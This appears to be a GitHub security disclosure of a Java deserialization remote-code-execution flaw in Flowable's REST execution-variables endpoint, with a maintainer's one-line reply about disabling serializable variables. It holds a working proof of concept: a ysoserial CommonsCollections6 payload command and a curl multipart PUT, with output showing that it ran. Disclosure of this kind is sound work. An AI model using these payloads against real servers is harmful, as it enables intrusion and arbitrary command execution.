[SECURITY] Deserialization RCE via PUT /runtime/executions/{executionId}/variables with type=serializable (CWE-502, CVSS 8.8)

[Jiecub3]

Flowable REST ExecutionVariableResource PUT Deserialization RCE

Summary

In the Flowable REST module, the ExecutionVariableResource provides a PUT /runtime/executions/{executionId}/variables/{variableName} endpoint that supports uploading binary variables via multipart/form-data. When the request parameter type=serializable, the server directly feeds the user-uploaded file byte stream to java.io.ObjectInputStream.readObject() for deserialization, with no whitelist / class name validation / ObjectInputFilter. An attacker with any basicAuth credentials can construct a malicious serialized byte stream (e.g., ysoserial CommonsCollections6 gadget chain) to trigger arbitrary code execution on the Flowable server. This is triggerable under default configuration (rest.variables.allow.serializable defaults to true).

Affected Version & Commit

• Repository: https://github.com/flowable/flowable-engine
• Branch: main
• Commit: c72f396

Vulnerability Description

Trigger Location

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-166

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();   // <-- deserialization sink
    setVariable(execution, variableName, value, scope, isNew, false);
    stream.close();
}

Data Flow

1. HTTP PUT enters ExecutionVariableResource.updateVariable (ExecutionVariableResource.java:98)
2. executionId is queried from the database via getExecutionFromRequestWithoutAccessCheck, obtaining an Execution object
3. The request is multipart, hitting the request instanceof MultipartHttpServletRequest branch, calling setBinaryVariable(request, execution, false, false)
4. setBinaryVariable parses form parameters name/type/scope, validates type is only binary or serializable
5. When type is serializable and isSerializableVariableAllowed == true (default), executes ObjectInputStream stream = new ObjectInputStream(file.getInputStream()); Object value = stream.readObject(); — the attacker-controlled file byte stream directly triggers the deserialization sink
6. After deserialization, calls setVariable(...) to store the deserialized object as a runtime variable

Configuration Switch (Enabled by Default)

BaseExecutionVariableResource.java:70:

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Default value is true, meaning the deserialization path is directly reachable under default configuration.

Affected Endpoints

• PUT /runtime/executions/{executionId}/variables/{variableName} (port 8080, flowable-rest module)

Exploitation Conditions

Condition	Description
Authentication	Requires basicAuth regular user credentials (any registered user, no admin required)
Network reachability	Network reachable (HTTP REST endpoint)
Configuration dependency	rest.variables.allow.serializable defaults to true
Other prerequisites	Target executionId must exist (can enumerate via GET /runtime/executions); classpath contains CommonsCollections 3.2.2

Proof of Concept

Step 1: Generate ysoserial CommonsCollections6 payload

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned_entry_0609' > cc6_payload.ser

Step 2: Trigger deserialization via PUT multipart request

rm -f /tmp/pwned_entry_0609

curl -s -u rest-admin:test \
     -X PUT \
     "http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/evil_var2" \
     -F "file=@cc6_payload.ser" \
     -F "name=evil_var2" \
     -F "type=serializable" \
     -F "scope=global"

Returns HTTP 200:

{
    "name": "evil_var2",
    "type": "serializable",
    "value": null,
    "valueUrl": "http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/evil_var2/data",
    "scope": "global"
}

Step 3: Verify RCE file landed

ls -la /tmp/pwned_entry_0609
# -rw-r----- 1 root root 0 Aug  4 12:25 /tmp/pwned_entry_0609

Step 4: Second verification (different variableName)

java ... -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned_entry_0609_second_proof' > cc6_second.ser

curl -s -u rest-admin:test \
     -X PUT \
     "http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/put_rce_id" \
     -F "file=@cc6_second.ser" \
     -F "name=put_rce_id" \
     -F "type=serializable" \
     -F "scope=global"
# HTTP 200

ls -la /tmp/pwned_entry_0609_second_proof
# -rw-r----- 1 root root 0 Aug  4 12:26 /tmp/pwned_entry_0609_second_proof

Two different filenames were both created on the Flowable server filesystem, proving the deserialization chain fully triggers the CommonsCollections6 gadget at ObjectInputStream.readObject(), achieving arbitrary command execution.

Exploitation Chain Progress

Chain Stage	Location (file:line)	Status	Evidence / Notes
Entry PUT endpoint	ExecutionVariableResource.java:97-98	✅ Connected	HTTP 200 returns JSON
Multipart branch	ExecutionVariableResource.java:103-104	✅ Connected	request instanceof MultipartHttpServletRequest matched
Type validation	BaseExecutionVariableResource.java:144-147	✅ Bypassed	type=serializable is in whitelist
Deserialization sink	BaseExecutionVariableResource.java:164-165	✅ Triggered	ObjectInputStream.readObject() no whitelist/filter
Conclusion	—	✅ Full chain closed	/tmp/pwned_entry_0609 file created, RCE successful

Impact

An attacker with any basicAuth credentials can upload a ysoserial malicious serialized stream to the Flowable REST endpoint via a single multipart PUT request, triggering server-side RCE under default configuration. Two independent tests both successfully created files, demonstrating stable and reproducible exploitation.

Severity

CVSS v3.1: 8.8 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 (Deserialization of Untrusted Data)

Credit

• Jiecub3 (GitHub ID: 87791178)
• Aur0ra-m (GitHub ID: 103031059)
• lz2y (GitHub ID: 55266300)

[tijsrademakers]

with the rest.variables.allow.serializable property set to false this is not possible